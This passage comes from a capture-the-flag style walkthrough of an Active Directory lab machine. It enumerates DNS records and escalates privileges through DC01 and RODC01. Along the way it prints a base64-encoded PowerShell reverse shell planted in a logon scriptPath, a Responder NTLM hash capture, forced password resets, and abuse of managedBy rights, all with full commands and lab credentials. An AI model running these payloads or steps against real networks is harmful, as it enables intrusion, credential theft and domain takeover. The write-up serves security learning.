recordName: _ldap._tcp.ForestDnsZones.garfield.htb
SRV: dc01.garfield.htb:389
recordName: _msdcs.garfield.htb
NS: dc01.garfield.htb
recordName: dc01.garfield.htb
AAAA: dead:beef::6abd:8baa:aa7a:c019; dead:beef::1f6
A: 10.129.244.207
recordName: DomainDnsZones.garfield.htb
AAAA: dead:beef::1f6; dead:beef::6abd:8baa:aa7a:c019
A: 192.168.100.1; 10.129.244.207
recordName: ForestDnsZones.garfield.htb
AAAA: dead:beef::1f6; dead:beef::6abd:8baa:aa7a:c019
A: 192.168.100.1; 10.129.244.207
recordName: RODC01.garfield.htb
A: 192.168.100.2
SOA.PrimaryServer: dc01.garfield.htb
SOA.zoneAdminEmail: hostmaster@garfield.htb
recordName: _msdcs.garfield.htb
recordName: _kerberos._tcp.dc._msdcs.garfield.htb
SRV: dc01.garfield.htb:88
recordName: _kerberos._tcp.Default-First-Site-Name._sites.dc._msdcs.garfield.htb
SRV: RODC01.garfield.htb:88; dc01.garfield.htb:88
recordName: _ldap._tcp.bcc7093d-cd1a-42dc-a248-8401d5782b41.domains._msdcs.garfield.htb
SRV: dc01.garfield.htb:389
recordName: _ldap._tcp.dc._msdcs.garfield.htb
SRV: dc01.garfield.htb:389
recordName: _ldap._tcp.Default-First-Site-Name._sites.dc._msdcs.garfield.htb
SRV: RODC01.garfield.htb:389; dc01.garfield.htb:389
recordName: _ldap._tcp.Default-First-Site-Name._sites.gc._msdcs.garfield.htb
SRV: RODC01.garfield.htb:3268; dc01.garfield.htb:3268
recordName: _ldap._tcp.gc._msdcs.garfield.htb
SRV: dc01.garfield.htb:3268
recordName: _ldap._tcp.pdc._msdcs.garfield.htb
SRV: dc01.garfield.htb:389
recordName: 16e271d2-270f-4a57-b7f1-74497d050024._msdcs.garfield.htb
CNAME: dc01.garfield.htb
recordName: gc._msdcs.garfield.htb
AAAA: dead:beef::1f6; dead:beef::6abd:8baa:aa7a:c019
A: 192.168.100.1; 10.129.244.207
recordName: 0cffd740-bba9-471b-aec4-1c9d0ddd7101._msdcs.garfield.htb
CNAME: RODC01.garfield.htb
Of interest here is the internal IP range 192.168.100.0/24, which has DC01 at 192.168.100.1 and RODC01 at 192.168.100.2.
Shell as l.wilson on DC01
Shell
With write permissions over multiple accounts’ scriptPath attribute, I’ll try updating them and seeing if they login.
I’ll save a PowerShell #5 (stderr support)(Base64) reverse shell from revshells.com to a file named rev.bat:
powershell -e JABFAHIAcgBvAHIAVgBpAGUAdwA9ACIATgBvAHIAbQBhAGwAVgBpAGUAdwAiADsAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACIAQwBvAG4AdABpAG4AdQBlACIAOwAkAGMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA1AC4AMQA2ADkAIgAsADQANAAzACkAOwAkAHMAPQAkAGMALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAD0AMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpAD0AJABzAC4AUgBlAGEAZAAoACQAYgAsADAALAAkAGIALgBMAGUAbgBnAHQAaAApACkALQBuAGUAMAApAHsAJABkAD0AKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgAsADAALAAkAGkAKQA7AHQAcgB5AHsAJABvAD0AaQBlAHgAIAAkAGQAIAAyAD4AJgAxACAAMwA+ACYAMQAgADQAPgAmADEAIAA1AD4AJgAxACAANgA+ACYAMQB8AE8AdQB0AC0AUwB0AHIAaQBuAGcAfQBjAGEAdABjAGgAewAkAG8APQAkAF8AfABPAHUAdAAtAFMAdAByAGkAbgBnAH0AaQBmACgAWwBzAHQAcgBpAG4AZwBdADoAOgBJAHMATgB1AGwAbABPAHIARQBtAHAAdAB5ACgAJABvACkAKQB7ACQAbwA9ACIAIgB9ACQAcAA9ACIAUABTACAAIgArACgAcAB3AGQAKQAuAFAAYQB0AGgAKwAiAD4AIAAiADsAWwBiAHkAdABlAFsAXQBdACQAcwBiAD0AKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAG8AKwAkAHAAKQA7ACQAcwAuAFcAcgBpAHQAZQAoACQAcwBiACwAMAAsACQAcwBiAC4ATABlAG4AZwB0AGgAKQA7ACQAcwAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwAuAEMAbABvAHMAZQAoACkA
I’ll upload it to the share in the scripts directory:
smb: \garfield.htb\scripts\> put rev.bat
putting file rev.bat as \garfield.htb\scripts\rev.bat (18.9 kb/s) (average 189.6 kb/s)
\\DC01.garfield.htb\SYSVOL\garfield.htb\scripts is the base directory for the scriptPath field. I’ll use bloodyAD to write the scriptPath for both users to the reverse shell:
oxdf@hacky$ bloodyAD -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -d garfield.htb --host 10.129.244.207 set object "CN=Liz Wilson,CN=Users,DC=garfield,DC=htb" scriptPath -v rev.bat
[+] CN=Liz Wilson,CN=Users,DC=garfield,DC=htb's scriptPath has been updated
oxdf@hacky$ bloodyAD -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -d garfield.htb --host 10.129.244.207 set object "CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb" scriptPath -v rev.bat
[+] CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb's scriptPath has been updated
Shortly after, I get a connection on nc as l.wilson:
oxdf@hacky$ sudo rlwrap -cAr nc -vnlp 443
Listening on 0.0.0.0 443
Connection received on 10.129.244.207 61678
PS C:\Windows\system32> whoami
garfield\l.wilson
Only l.wilson connects back. The l.wilson_adm script never runs, so that account doesn’t seem to be logging in.
Password Recovery [Fail]
Rather than going for a shell, I could also capture an authentication attempt and try to break the user’s password. I’ll make a new script designed to get the user to authenticate to my SMB server:
dir \\10.10.15.169\fakeShare\0xdf.txt
Now I’ll upload that:
smb: \garfield.htb\scripts\> put responder.bat
putting file responder.bat as \garfield.htb\scripts\responder.bat (0.6 kb/s) (average 0.6 kb/s)
And set both script paths:
oxdf@hacky$ bloodyAD -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -d garfield.htb --host 10.129.244.207 set object "CN=Liz Wilson,CN=Users,DC=garfield,DC=htb" scriptPath -v responder.bat
[+] CN=Liz Wilson,CN=Users,DC=garfield,DC=htb's scriptPath has been updated
oxdf@hacky$ bloodyAD -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -d garfield.htb --host 10.129.244.207 set object "CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb" scriptPath -v responder.bat
[+] CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb's scriptPath has been updated
I’ll start Responder and wait. After a minute there’s a connection:
oxdf@hacky$ sudo uv run Responder.py -I tun0
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.3.0
...[snip]...
[+] Listening for events...
[SMB] NTLMv2-SSP Client : 10.129.244.207
[SMB] NTLMv2-SSP Username : GARFIELD\l.wilson
[SMB] NTLMv2-SSP Hash : l.wilson::GARFIELD:1122334455667788:20FD6B89DEDC474AB4004F6039029AE9:010100000000000080412AC0E66ADD015FA97A8BCFC747A30000000002000800450059004B00390001001E00570049004E002D0049005400340054004E003100480051005A004500480004003400570049004E002D0049005400340054004E003100480051005A00450048002E00450059004B0039002E004C004F00430041004C0003001400450059004B0039002E004C004F00430041004C0005001400450059004B0039002E004C004F00430041004C000700080080412AC0E66ADD0106000400020000000800300030000000000000000000000000210000B0393A0EEB40C108FC99D2298E3A853E8CD7DEA0C08FDBDCD441D526823E822D0A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310035002E003100360039000000000000000000
I’ll pass that Net-NTLMv2 to hashcat and it exhausts rockyou.txt in 11 seconds on my host without recovering the password:
$ hashcat l.wilson.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v7.1.2) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
5600 | NetNTLMv2 | Network Protocol
...[snip]...
Approaching final keyspace - workload adjusted.
...[snip]...
Started: Sun Nov 1 11:33:37 2026
Stopped: Sun Nov 1 11:33:48 2026
On HTB machines, if it isn’t in rockyou.txt and there’s no hints otherwise, it’s not meant to be cracked.
Shell as l.wilson_adm on DC01
Enumeration
Host
The users on the box are all ones I’ve already learned about:
PS C:\Users> ls
Directory: C:\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 1/27/2026 1:43 PM Administrator
d----- 9/12/2025 12:43 PM l.wilson
d----- 9/12/2025 3:29 PM l.wilson_adm
d-r--- 8/13/2025 3:54 AM Public
l.wilson doesn’t have anything else interesting in their home directory.
Nothing interesting at the C: root:
PS C:\> ls
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 1/13/2026 7:08 AM inetpub
d----- 11/5/2022 12:03 PM PerfLogs
d-r--- 8/13/2025 4:00 AM Program Files
d----- 8/17/2025 7:05 AM Program Files (x86)
d-r--- 1/27/2026 4:40 PM Users
d----- 4/1/2026 11:27 AM Windows
inetpub is empty. Programs installed look standard.
Network
This host has two NICs, with a second IP on the 192.168.100.0/24 network identified earlier:
PS C:\> ipconfig
Windows IP Configuration
Ethernet adapter vEthernet (Switch01):
Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : fe80::c4ff:5747:1d3c:fba0%9
IPv4 Address. . . . . . . . . . . : 192.168.100.1
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . :
Ethernet adapter Ethernet0 3:
Connection-specific DNS Suffix . : .htb
IPv6 Address. . . . . . . . . . . : dead:beef::1f6
IPv6 Address. . . . . . . . . . . : dead:beef::6abd:8baa:aa7a:c019
Link-local IPv6 Address . . . . . : fe80::6d25:487f:d2bb:fd30%7
IPv4 Address. . . . . . . . . . . : 10.129.244.207
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . : fe80::250:56ff:feb0:4ef9%7
10.129.0.1
It has 10.129.244.207 (my assigned target IP), and 192.168.100.1. I noted above that RODC01 is on 192.168.100.2. I’m able to ping that host:
PS C:\> ping 192.168.100.2
Pinging 192.168.100.2 with 32 bytes of data:
Reply from 192.168.100.2: bytes=32 time<1ms TTL=128
Reply from 192.168.100.2: bytes=32 time<1ms TTL=128
Reply from 192.168.100.2: bytes=32 time<1ms TTL=128
Reply from 192.168.100.2: bytes=32 time<1ms TTL=128
Ping statistics for 192.168.100.2:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
BloodHound
l.wilson has ForceChangePassword over l.wilson_adm:
That means I can reset l.wilson_adm’s password. They’re a member of Tier 1, Remote Management Users (allowing WinRM), and Remote Desktop Users (allowing RDP):
Password Change
From my shell, I’ll create a new password, and set it as l.wilson_adm’s password:
PS C:\> $pass = ConvertTo-SecureString '0xdf0xdf.' -AsPlainText -Force
PS C:\> Set-ADAccountPassword -Identity l.wilson_adm -NewPassword $pass -Reset
netexec shows it works:
oxdf@hacky$ netexec smb DC01.garfield.htb -u l.wilson_adm -p 0xdf0xdf.
SMB 10.129.244.207 445 DC01 Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:garfield.htb) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB 10.129.244.207 445 DC01 [+] garfield.htb\l.wilson_adm:0xdf0xdf.
I can get a shell using evil-winrm-py:
oxdf@hacky$ evil-winrm-py -i DC01.garfield.htb -u l.wilson_adm -p 0xdf0xdf.
_ _ _
_____ _(_| |_____ __ _(_)_ _ _ _ _ __ ___ _ __ _ _
/ -_\ V | | |___\ V V | | ' \| '_| ' |___| '_ | || |
\___|\_/|_|_| \_/\_/|_|_||_|_| |_|_|_| | .__/\_, |
|_| |__/ v1.6.0
[*] Connecting to 'DC01.garfield.htb:5985' as 'l.wilson_adm'
evil-winrm-py PS C:\Users\l.wilson_adm\Documents>
And get the user flag:
evil-winrm-py PS C:\Users\l.wilson_adm\Desktop> cat user.txt
89c544fd************************
I can also RDP with:
xfreerdp /v:DC01.garfield.htb /u:l.wilson_adm /p:'0xdf0xdf.' /d:garfield.htb /cert:ignore /dynamic-resolution
It works:
Admin Shell on RODC01
Enumeration
BloodHound
Other than user.txt, there’s nothing new on the DC01 filesystem that l.wilson_adm can access that is interesting.
Back in BloodHound, l.wilson_adm has three interesting links that show up on outbound control:
For some reason the labels on the two links to RODC01 overlap, but they are WriteAccountRestrictions and ForceChangePassword. Additionally, as a member of Tier 1, they can add themselves to RODC Administrators.
WriteAccountRestrictions is the ability to configure resource-based constrained delegation (RBCD). I’ll skip ForceChangePassword on RODC01$, as resetting a domain controller’s machine account password breaks its secure channel with DC01.
RODC Administrators
My first thought is that RODC Administrators is the “delegated administrator” group, an RODC-specific feature. When an RODC is promoted, you can designate a “delegated administrator” group that becomes a local administrator on that RODC only, without being a Domain Admin or having any power on DC01. The idea is to let branch-office staff manage the RODC box without trusting them with the domain.
However, that’s not what this group is. I can enumerate it using any set of valid domain creds. I’ll use this PowerShell Claude made for me in the RDP session:
PS C:\> $grp = "GARFIELD\RODC Administrators"
PS C:\> $rootdse = Get-ADRootDSE
PS C:\> $map = @{ "00000000-0000-0000-0000-000000000000" = "(All properties)" }
PS C:\> Get-ADObject -SearchBase $rootdse.schemaNamingContext -LDAPFilter "(schemaIDGUID=*)" -Properties lDAPDisplayName,schemaIDGUID |
>> ForEach-Object { $map["$([guid]$_.schemaIDGUID)"] = $_.lDAPDisplayName }
PS C:\> Get-ADObject -SearchBase ("CN=Extended-Rights,"+$rootdse.configurationNamingContext) -LDAPFilter "(objectClass=controlAccessRight)" -Properties displayName,rightsGuid |
>> ForEach-Object { $map["$([guid]$_.rightsGuid)"] = $_.displayName }
PS C:\> Get-ADObject -LDAPFilter "(objectClass=*)" -Properties nTSecurityDescriptor |
>> Where-Object { $_.nTSecurityDescriptor } |
>> ForEach-Object {
>> $o = ($_.DistinguishedName -split ',')[0]
>> $_.nTSecurityDescriptor.Access |
>> Where-Object { $_.IdentityReference -eq $grp -and $_.AccessControlType -eq "Allow" } |
>> ForEach-Object {
>> $g = "$($_.ObjectType)"
>> $name = if ($map.ContainsKey($g)) { $map[$g] } else { $g }
>> [pscustomobject]@{ Object=$o; Rights=$_.ActiveDirectoryRights; Attr=$name }
>> }
>> } | Format-Table -AutoSize
Object Rights Attr
------ ------ ----
CN=RODC01 ListChildren, ReadProperty (All properties)
CN=RODC01 ReadProperty, WriteProperty msDS-NeverRevealGroup
CN=RODC01 ReadProperty, WriteProperty msDS-RevealOnDemandGroup
CN=RODC01 ReadProperty, WriteProperty managedBy
CN=Windows Virtual Machine ReadProperty, WriteProperty managedBy
CN=Windows Virtual Machine ReadProperty, WriteProperty msDS-RevealOnDemandGroup
CN=Windows Virtual Machine ReadProperty, WriteProperty msDS-NeverRevealGroup
CN=Windows Virtual Machine ListChildren, ReadProperty (All properties)
CN=DFSR-LocalSettings ReadProperty, WriteProperty managedBy
CN=DFSR-LocalSettings ReadProperty, WriteProperty msDS-RevealOnDemandGroup
CN=DFSR-LocalSettings ReadProperty, WriteProperty msDS-NeverRevealGroup
CN=DFSR-LocalSettings ListChildren, ReadProperty (All properties)
CN=Domain System Volume ReadProperty, WriteProperty managedBy
CN=Domain System Volume ReadProperty, WriteProperty msDS-RevealOnDemandGroup
CN=Domain System Volume ReadProperty, WriteProperty msDS-NeverRevealGroup
CN=Domain System Volume ListChildren, ReadProperty (All properties)
CN=SYSVOL Subscription ReadProperty, WriteProperty managedBy
CN=SYSVOL Subscription ReadProperty, WriteProperty msDS-RevealOnDemandGroup
CN=SYSVOL Subscription ReadProperty, WriteProperty msDS-NeverRevealGroup
CN=SYSVOL Subscription ListChildren, ReadProperty (All properties)
The output looks like a lot of rows, but there are really only two things going on. The group has four ACEs on the RODC01 computer object, and those ACEs are marked CONTAINER_INHERIT_ACE, so they also show up inherited on each of RODC01’s child objects (Windows Virtual Machine, DFSR-LocalSettings, Domain System Volume, and SYSVOL Subscription). The inherited copies are noise: those child objects don’t have msDS-RevealOnDemandGroup / msDS-NeverRevealGroup attributes, so being able to “write” them there means nothing.
The interesting bits are the set of ACEs on RODC01 itself:
| Object | Rights | Attribute |
|---|---|---|
| RODC01 | ReadProperty | (All properties) |
| RODC01 | ReadProperty, WriteProperty | msDS-RevealOnDemandGroup |
| RODC01 | ReadProperty, WriteProperty | msDS-NeverRevealGroup |
| RODC01 | ReadProperty, WriteProperty | managedBy |
powerview.py will show the same thing:
oxdf@hacky$ powerview garfield.htb/l.wilson_adm:0xdf0xdf.@DC01.garfield.htb
Logging directory is set to /home/oxdf/.powerview/logs/garfield
╭─LDAP─[DC01.garfield.htb]─[GARFIELD\l.wilson_adm]-[NS:<auto>]
╰─ ❯ Get-DomainObjectAcl -SecurityIdentifier "RODC Administrators" -ResolveGUIDs -TableView -Select ObjectDN,AccessMask,ObjectAceType
[2026-11-07 11:11:26] [Get-DomainObjectAcl] Recursing all domain objects. This might take a while
ObjectDN AccessMask ObjectAceType
----------------------------------------------------------------------------------------------------------------------- ------------------------------- ---------------------------
CN=SYSVOL Subscription,CN=Domain System Volume,CN=DFSR-LocalSettings,CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb ReadProperty, WriteProperty Managed-By
CN=SYSVOL Subscription,CN=Domain System Volume,CN=DFSR-LocalSettings,CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb ReadProperty, WriteProperty ms-DS-Reveal-OnDemand-Group
CN=SYSVOL Subscription,CN=Domain System Volume,CN=DFSR-LocalSettings,CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb ReadProperty, WriteProperty ms-DS-Never-Reveal-Group
CN=SYSVOL Subscription,CN=Domain System Volume,CN=DFSR-LocalSettings,CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb ReadProperties,ListChildObjects None
CN=Domain System Volume,CN=DFSR-LocalSettings,CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb ReadProperty, WriteProperty Managed-By
CN=Domain System Volume,CN=DFSR-LocalSettings,CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb ReadProperty, WriteProperty ms-DS-Reveal-OnDemand-Group
CN=Domain System Volume,CN=DFSR-LocalSettings,CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb ReadProperty, WriteProperty ms-DS-Never-Reveal-Group
CN=Domain System Volume,CN=DFSR-LocalSettings,CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb ReadProperties,ListChildObjects None
CN=DFSR-LocalSettings,CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb ReadProperty, WriteProperty Managed-By
CN=DFSR-LocalSettings,CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb ReadProperty, WriteProperty ms-DS-Reveal-OnDemand-Group
CN=DFSR-LocalSettings,CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb ReadProperty, WriteProperty ms-DS-Never-Reveal-Group
CN=DFSR-LocalSettings,CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb ReadProperties,ListChildObjects None
CN=Windows Virtual Machine,CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb ReadProperty, WriteProperty Managed-By
CN=Windows Virtual Machine,CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb ReadProperty, WriteProperty ms-DS-Reveal-OnDemand-Group
CN=Windows Virtual Machine,CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb ReadProperty, WriteProperty ms-DS-Never-Reveal-Group
CN=Windows Virtual Machine,CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb ReadProperties,ListChildObjects None
CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb ReadProperty, WriteProperty Managed-By
CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb ReadProperty, WriteProperty ms-DS-Reveal-OnDemand-Group
CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb ReadProperty, WriteProperty ms-DS-Never-Reveal-Group
CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb ReadProperties,ListChildObjects Non
Other tools can show what access RODC Administrators have over a specific target like RODC01$, but I have to specify the target, making it less useful. For example, netexec:
oxdf@hacky$ netexec ldap DC01.garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -M daclread -o TARGET='RODC01$' PRINCIPAL='RODC Administrators'
LDAP 10.129.244.207 389 DC01 Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:garfield.htb) (signing:None) (channel binding:No TLS cert)
LDAP 10.129.244.207 389 DC01 [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978
DACLREAD 10.129.244.207 389 DC01 Be careful, this module cannot read the DACLS recursively.
DACLREAD 10.129.244.207 389 DC01 Found principal SID to filter on: S-1-5-21-2502726253-3859040611-225969357-2101
DACLREAD 10.129.244.207 389 DC01 Target principal found in LDAP (CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb)
DACLREAD 10.129.244.207 389 DC01 ACE[4] info
DACLREAD 10.129.244.207 389 DC01 ACE Type : ACCESS_ALLOWED_OBJECT_ACE
DACLREAD 10.129.244.207 389 DC01 ACE flags : CONTAINER_INHERIT_ACE
DACLREAD 10.129.244.207 389 DC01 Access mask : ReadProperty, WriteProperty
DACLREAD 10.129.244.207 389 DC01 Flags : ACE_OBJECT_TYPE_PRESENT
DACLREAD 10.129.244.207 389 DC01 Object type (GUID) : Managed-By (0296c120-40da-11d1-a9c0-0000f80367c1)
DACLREAD 10.129.244.207 389 DC01 Trustee (SID) : RODC Administrators (S-1-5-21-2502726253-3859040611-225969357-2101)
DACLREAD 10.129.244.207 389 DC01 ACE[5] info
DACLREAD 10.129.244.207 389 DC01 ACE Type : ACCESS_ALLOWED_OBJECT_ACE
DACLREAD 10.129.244.207 389 DC01 ACE flags : CONTAINER_INHERIT_ACE
DACLREAD 10.129.244.207 389 DC01 Access mask : ReadProperty, WriteProperty
DACLREAD 10.129.244.207 389 DC01 Flags : ACE_OBJECT_TYPE_PRESENT
DACLREAD 10.129.244.207 389 DC01 Object type (GUID) : ms-DS-Reveal-OnDemand-Group (303d9f4a-1dd6-4b38-8fc5-33afe8c988ad)
DACLREAD 10.129.244.207 389 DC01 Trustee (SID) : RODC Administrators (S-1-5-21-2502726253-3859040611-225969357-2101)
DACLREAD 10.129.244.207 389 DC01 ACE[6] info
DACLREAD 10.129.244.207 389 DC01 ACE Type : ACCESS_ALLOWED_OBJECT_ACE
DACLREAD 10.129.244.207 389 DC01 ACE flags : CONTAINER_INHERIT_ACE
DACLREAD 10.129.244.207 389 DC01 Access mask : ReadProperty, WriteProperty
DACLREAD 10.129.244.207 389 DC01 Flags : ACE_OBJECT_TYPE_PRESENT
DACLREAD 10.129.244.207 389 DC01 Object type (GUID) : ms-DS-Never-Reveal-Group (15585999-fd49-4d66-b25d-eeb96aba8174)
DACLREAD 10.129.244.207 389 DC01 Trustee (SID) : RODC Administrators (S-1-5-21-2502726253-3859040611-225969357-2101)
DACLREAD 10.129.244.207 389 DC01 ACE[20] info
DACLREAD 10.129.244.207 389 DC01 Access mask : ReadProperties, ListChildObjects (0x14)
DACLREAD 10.129.244.207 389 DC01 Trustee (SID) : RODC Administrators (S-1-5-21-2502726253-3859040611-225969357-2101)
Or Impacket’s dacledit.py:
oxdf@hacky$ dacledit.py -action read -principal "RODC Administrators" -target 'RODC01$' -dc-ip 10.129.244.207 'garfield.htb/j.arbuckle:Th1sD4mnC4t!@1978'
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
[*] Parsing DACL
[*] Printing parsed DACL
[*] Filtering results for SID (S-1-5-21-2502726253-3859040611-225969357-2101)
[*] ACE[4] info
[*] ACE Type : ACCESS_ALLOWED_OBJECT_ACE
[*] ACE flags : CONTAINER_INHERIT_ACE
[*] Access mask : ReadProperty, WriteProperty (0x30)
[*] Flags : ACE_OBJECT_TYPE_PRESENT
[*] Object type (GUID) : Managed-By (0296c120-40da-11d1-a9c0-0000f80367c1)
[*] Trustee (SID) : RODC Administrators (S-1-5-21-2502726253-3859040611-225969357-2101)
[*] ACE[5] info
[*] ACE Type : ACCESS_ALLOWED_OBJECT_ACE
[*] ACE flags : CONTAINER_INHERIT_ACE
[*] Access mask : ReadProperty, WriteProperty (0x30)
[*] Flags : ACE_OBJECT_TYPE_PRESENT
[*] Object type (GUID) : ms-DS-Reveal-OnDemand-Group (303d9f4a-1dd6-4b38-8fc5-33afe8c988ad)
[*] Trustee (SID) : RODC Administrators (S-1-5-21-2502726253-3859040611-225969357-2101)
[*] ACE[6] info
[*] ACE Type : ACCESS_ALLOWED_OBJECT_ACE
[*] ACE flags : CONTAINER_INHERIT_ACE
[*] Access mask : ReadProperty, WriteProperty (0x30)
[*] Flags : ACE_OBJECT_TYPE_PRESENT
[*] Object type (GUID) : ms-DS-Never-Reveal-Group (15585999-fd49-4d66-b25d-eeb96aba8174)
[*] Trustee (SID) : RODC Administrators (S-1-5-21-2502726253-3859040611-225969357-2101)
[*] ACE[20] info
[*] ACE Type : ACCESS_ALLOWED_ACE
[*] ACE flags : CONTAINER_INHERIT_ACE
[*] Access mask : ReadProperties, ListChildObjects (0x14)
[*] Trustee (SID) : RODC Administrators (S-1-5-21-2502726253-3859040611-225969357-2101)
Membership in RODC Administrators is really a delegation of control over RODC01. A member can rewrite the allow list (msDS-RevealOnDemandGroup) and the deny list (msDS-NeverRevealGroup), and can set managedBy, which names RODC01’s delegated administrator. It grants no rights anywhere else in the domain. Being able to rewrite which accounts the RODC is allowed to cache is the primitive that leads to Administrator.
Paths
There are a couple ways to get a shell with administrative privileges on RODC01:
flowchart TD;
subgraph identifier[" "]
direction LR
start1[ ] --->|intended| stop1[ ]
style start1 height:0px;
style stop1 height:0px;
start2[ ] --->|unintended| stop2[ ]
style start2 height:0px;
style stop2 height:0px;
end
A[Shell as l.wilson_adm\non DC01]-->B(<a href='#set-managedby'>Configure managedBy</a>);
B-->C[Shell as l.wilson_adm\nwith admin privs\non RODC01];
A-->D(<a href='#rbcd'>RBCD</a>);
D-->E[Shell as Administrator\non RODC01];
linkStyle default stroke-width:2px,stroke:#4B9CD3,fill:none;
linkStyle 0,2,3 stroke-width:2px,stroke:#FFFF99,fill:none;
style identifier fill:#1d1d1d,color:#FFFFFFFF;
Shell as l.wilson_adm with Administrator privs on RODC01
Strategy
Adding l.wilson_adm to the RODC Administrators group gives them WriteProperty on the managedBy attribute. I’ll use that to set themselves as managedBy on RODC01$, which is effectively administrator on that box. I’ll start with bloodyAD and then switch to my RDP session and get a nested RDP session.
Set managedBy
I’ll use bloodyAD to add l.wilson_adm to the RODC Administrators group:
oxdf@hacky$ bloodyAD --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 0xdf0xdf. add groupMember "RODC Administrators" l.wilson_adm
[+] l.wilson_adm added to RODC Administrators
From this position, l.wilson_adm can set the managedBy:
oxdf@hacky$ bloodyAD --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 0xdf0xdf. set object 'RODC01$' managedBy -v 'CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb'
[+] RODC01$'s managedBy has been updated
RDP through RDP
I’ll open the Windows RDP connection and enter the IP of RODC01:
On hitting enter, it asks for creds, which I can enter:
It’ll ask me to accept the certificate:
By default it loads a cmd.exe window:
I can also close this and Ctrl-Shift-Esc to get task manager, and then File -> “Run new task” to start PowerShell or any other executable.
Without managedBy, it will show with no special privileges:
C:\Windows\system32>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeMachineAccountPrivilege Add workstations to domain Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Once I’ve set the managedBy, it provides privileges:
C:\Users\l.wilson_adm>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
========================================= ================================================================== ========
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeMachineAccountPrivilege Add workstations to domain Disabled
SeSecurityPrivilege Manage auditing and security log Disabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled
SeLoadDriverPrivilege Load and unload device drivers Disabled
SeSystemProfilePrivilege Profile system performance Disabled
SeSystemtimePrivilege Change the system time Disabled
SeProfileSingleProcessPrivilege Profile single process Disabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Disabled
SeCreatePagefilePrivilege Create a pagefile Disabled
SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeDebugPrivilege Debug programs Disabled
SeSystemEnvironmentPrivilege Modify firmware environment values Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Disabled
SeUndockPrivilege Remove computer from docking station Disabled
SeEnableDelegationPrivilege Enable computer and user accounts to be trusted for delegation Disabled
SeManageVolumePrivilege Perform volume maintenance tasks Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
